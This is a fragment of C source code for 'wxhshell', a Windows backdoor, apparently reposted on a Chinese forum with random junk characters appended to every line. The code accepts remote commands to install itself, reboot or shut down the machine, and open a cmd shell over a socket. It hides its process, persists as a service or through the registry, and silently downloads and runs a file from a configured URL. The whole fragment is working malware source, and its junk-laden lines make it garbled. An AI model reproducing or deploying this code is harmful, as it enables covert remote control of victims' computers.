  // 安装 m}-*B1  
  case 'i': { S3?Bl'  
    if(Install()) ]NEr]sc-"F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cD%_+@GaU  
    else S|jE1v"L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0I v(ioB=  
    break; `i2:@?Kl9  
    } +UM%6Z=+  
  // 卸载 $q|-9B  
  case 'r': { t6,bA1*5y  
    if(Uninstall()) wB(X(nr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !&eKq?P{j  
    else !=3Ce3-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w *pTK +  
    break; sBq-"YcjR  
    } m{w'&\T  
  // 显示 wxhshell 所在路径 BNw};.lO  
  case 'p': { XsEo tW  
    char svExeFile[MAX_PATH]; 3LkcK1x.  
    strcpy(svExeFile,"\n\r"); De-hHY{>  
      strcat(svExeFile,ExeFile); o*t4zF&n  
        send(wsh,svExeFile,strlen(svExeFile),0); V+$^4Ht  
    break; 0X<U.Sxn  
    } d}w}VL8l  
  // 重启 ymW? <\AD,  
  case 'b': { u*S-Pji,x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /'l"Us},^!  
    if(Boot(REBOOT)) T Ob(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yg^ 4<A  
    else { ]3\%i2NM  
    closesocket(wsh); `x:O&2  
    ExitThread(0); gTQc=,3l3  
    } FKH_o  
    break; KY'x;\0 g  
    } v;sWI"Fv!  
  // 关机 |muZv!,E  
  case 'd': { vf@toYc[E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B'v~0Kau  
    if(Boot(SHUTDOWN)) 3 ,f3^A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xxQgX~'x  
    else { V<i_YLYmJe  
    closesocket(wsh); K%g_e*"$  
    ExitThread(0); | 9 <+!t\  
    } 1KadT7<0}  
    break; @$|8zPs  
    } UrmnHc>}c  
  // 获取shell 4M )oA|1w  
  case 's': { tu slkOE#  
    CmdShell(wsh); rU |%  
    closesocket(wsh); d6XdN  
    ExitThread(0); 4J{W8jX  
    break; [$D%]]/,  
  } |%g)H,6c  
  // 退出 ]p@q.P  
  case 'x': { )B9/P>c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^ AJ_  
    CloseIt(wsh); +7 mUX  
    break; ELZ@0,  
    } @x@wo9<Fc  
  // 离开 Y M,UM>  
  case 'q': { =lmelo#m&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GD1L6kVd1  
    closesocket(wsh); 2[CHiB*>  
    WSACleanup(); j%)@f0Ng  
    exit(1); yTR5*{?j  
    break; jfU$qo!gi  
        } 717OzrF}A?  
  } ~[Z(6yX  
  } "uP~hFA7M  
JYR^k=  
  // 提示信息 =bOMtQ]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 13p.dp`  
} cz1 m05E  
  } Ww0dU_  
=>- W!Of  
  return; }p>l,HD  
} s[;1?+EI  
"9IR|  
// shell模块句柄 Rxq4Diq5k  
int CmdShell(SOCKET sock) gbu*6&j9  
{ ujLje:Yc  
STARTUPINFO si; w :9M6+mM^  
ZeroMemory(&si,sizeof(si)); tP89gN^PA|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i8!err._  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XZ"oOE0=  
PROCESS_INFORMATION ProcessInfo; >?jmeD3u  
char cmdline[]="cmd"; uBw[|,yn2*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c27Zh=;Tj  
  return 0; ' L-h2  
} kvN<o-B  
i(YR-vYK  
// 自身启动模式 ?L"x>$  
int StartFromService(void) -Dwe,N"{2  
{ 3$3%W<&^  
typedef struct bD=R/yA  
{  ;!j/t3#a  
  DWORD ExitStatus; }O\g<ke:u  
  DWORD PebBaseAddress; `o0ISJeKp  
  DWORD AffinityMask; |\RN%w7E8  
  DWORD BasePriority; XO5E-Nh  
  ULONG UniqueProcessId; \Rw^&;\1  
  ULONG InheritedFromUniqueProcessId; 5O~;^0iC  
}   PROCESS_BASIC_INFORMATION; k)zBw(wr  
TVVu_ib  
PROCNTQSIP NtQueryInformationProcess; j:$Z-s  
 USJ4Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I:WPP'L4o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a1x].{  
v 8TNBsEL  
  HANDLE             hProcess; S`& yVzv  
  PROCESS_BASIC_INFORMATION pbi; k>=wwPy  
>:OP+Vc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zVis"g`  
  if(NULL == hInst ) return 0; P]7s1kgaS  
ZU`HaL$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AD >/#Ul  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9hgIQl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1[-RIN;U8  
f[q_eY  
  if (!NtQueryInformationProcess) return 0; gX(8V*os^  
nv3TxG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?4t~z 1.f  
  if(!hProcess) return 0; MfraTUxIo/  
212 =+k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X7SSTcA   
GS*_m4.Ry6  
  CloseHandle(hProcess); b/4gs62{k  
N6v*X+4JH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y2PxC. -  
if(hProcess==NULL) return 0; &zPM# Q  
u1|v3/Q-  
HMODULE hMod; qv`:o `  
char procName[255]; &{8[I3#@  
unsigned long cbNeeded; ^y~oXS(  
I]B9+Z?xo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _k5$.f:Yj<  
iig&O(,  
  CloseHandle(hProcess); dB Hki*.u  
mo]>Um'F  
if(strstr(procName,"services")) return 1; // 以服务启动 bBQHxH}vi  
9lX[rBZ  
  return 0; // 注册表启动 V/)3d  
} /x /W>J2  
:~p_(rE  
// 主模块 6wb M$|yFj  
int StartWxhshell(LPSTR lpCmdLine) nTsPX Tat  
{ w_YY~Af  
  SOCKET wsl; nZ`=Up p)  
BOOL val=TRUE; z.W1Za  
  int port=0; 7KtgR=-Lb  
  struct sockaddr_in door; !9^GkFR6n  
+EZr@  
  if(wscfg.ws_autoins) Install(); we?t/YB=  
! &V,+}>)  
port=atoi(lpCmdLine); e XdH)|l,\  
r<*Y1;7H'  
if(port<=0) port=wscfg.ws_port; HPK}Z|Vl  
XlGB`P>?KD  
  WSADATA data; mHc2v==X\-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7VJf~\%1j  
"?YpF2pD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'IER9%V$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wDs#1`uTq  
  door.sin_family = AF_INET; ~'):1}KN]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'v@1_HHW\  
  door.sin_port = htons(port); l> >BeZ  
5a* Awv}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .\)p3pC)  
closesocket(wsl); FFH {#|_1  
return 1; 94XRf"^  
} 'eoI~*}3WQ  
OmP(&t7  
  if(listen(wsl,2) == INVALID_SOCKET) { ]j(Ld\:L  
closesocket(wsl); !" : arK  
return 1; &J=x[{R  
} S*rcXG6Q^  
  Wxhshell(wsl); YGLR%PYv"  
  WSACleanup(); ,0$b8lb;x/  
OL[_2m*;9p  
return 0; tWdP5vfp  
QpifO  
} 2K'}Vm+  
^[zF IO  
// 以NT服务方式启动 l1RFn,Tzr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {K2F(kz?T  
{ "2@Ys* e  
DWORD   status = 0; Vs[!WJ 7  
  DWORD   specificError = 0xfffffff; W/;qMP1"-  
5TdI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $E@ke:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o6 [i0S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; # /pZ#ny  
  serviceStatus.dwWin32ExitCode     = 0; II_MY#0X  
  serviceStatus.dwServiceSpecificExitCode = 0;  Ia)^  
  serviceStatus.dwCheckPoint       = 0; *$>$O%   
  serviceStatus.dwWaitHint       = 0; k?=V?JWY  
Iyvl6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SHPZXJ{  
  if (hServiceStatusHandle==0) return; \'N|1!EO|t  
]9pcDZB  
status = GetLastError(); k4nA+k<WI`  
  if (status!=NO_ERROR) #kGxX@0  
{ 8%9OB5?F6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |zL.PS  
    serviceStatus.dwCheckPoint       = 0; Xq%!(YD|  
    serviceStatus.dwWaitHint       = 0; KBGJB`D*  
    serviceStatus.dwWin32ExitCode     = status; uO-R:MC  
    serviceStatus.dwServiceSpecificExitCode = specificError; |m7`:~ow  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :hxZ2O?5_  
    return; @)8C  
  } }~5xlg$B<<  
K#{E87G(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]H<C Rw  
  serviceStatus.dwCheckPoint       = 0; 1')/BM2  
  serviceStatus.dwWaitHint       = 0;   s/'gl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _'oy C(:}  
} <`m.Vbvm"  
dUJNr_  
// 处理NT服务事件,比如:启动、停止 g@"6QAP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h Tn^:%(  
{ )O%lh 8fI  
switch(fdwControl) 9uREbip  
{ -nT+!3A8  
case SERVICE_CONTROL_STOP: 3/@'tLtN  
  serviceStatus.dwWin32ExitCode = 0; )u&_}6z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I@q>ES!1H  
  serviceStatus.dwCheckPoint   = 0;  g^E n6n)  
  serviceStatus.dwWaitHint     = 0; aa1XY&G"!  
  { ;7<a0HZ5!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Au+mIN  
  } i]LK,'  
  return; \9k{"4jX\  
case SERVICE_CONTROL_PAUSE: Xl*-A|:j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |qNrj~n@  
  break; LGCL*Qbsg  
case SERVICE_CONTROL_CONTINUE: Sb[rSczS~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @;,O V&XYn  
  break; 0+:.9*g=k  
case SERVICE_CONTROL_INTERROGATE: @]#+`pZ4A  
  break; ~K],hi^<P  
}; S8vmXlD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C12 7he  
} l7J_s?!j  
p N]Hp"v  
// 标准应用程序主函数 )x|BY>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |:r/K  
{ v981nJ>w,  
7RD` *s  
// 获取操作系统版本 PvT8XSlTx!  
OsIsNt=GetOsVer(); Da-(D<[0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ef`LBAfOO  
$'FPst8Q<  
  // 从命令行安装 :g9z^ $g  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]:E]5&VwV}  
'\*Rw]bR|  
  // 下载执行文件 r rwsj`  
if(wscfg.ws_downexe) { FVQWz[N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4+ k:j=x  
  WinExec(wscfg.ws_filenam,SW_HIDE); nLfnikw&  
} RLHe;-*b]I  
IfXLnD^||  
if(!OsIsNt) { fp![Pbms.  
// 如果时win9x,隐藏进程并且设置为注册表启动 dju&Ku  
HideProc(); {M~!?# <K  
StartWxhshell(lpCmdLine); 8:xQPd?3  
} o"1us75P  
else }lb.3fqiA  
  if(StartFromService()) \+AH>I;vO  
  // 以服务方式启动 5PL,~Y  
  StartServiceCtrlDispatcher(DispatchTable); n ~3c<{coZ  
else t+(CAP|,  
  // 普通方式启动 I3 x}F$^  
  StartWxhshell(lpCmdLine);  xBG1up<z  
"\=_- `  
return 0; >aWJ+  
}
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只看该作者 1 发表于: 2006-10-10
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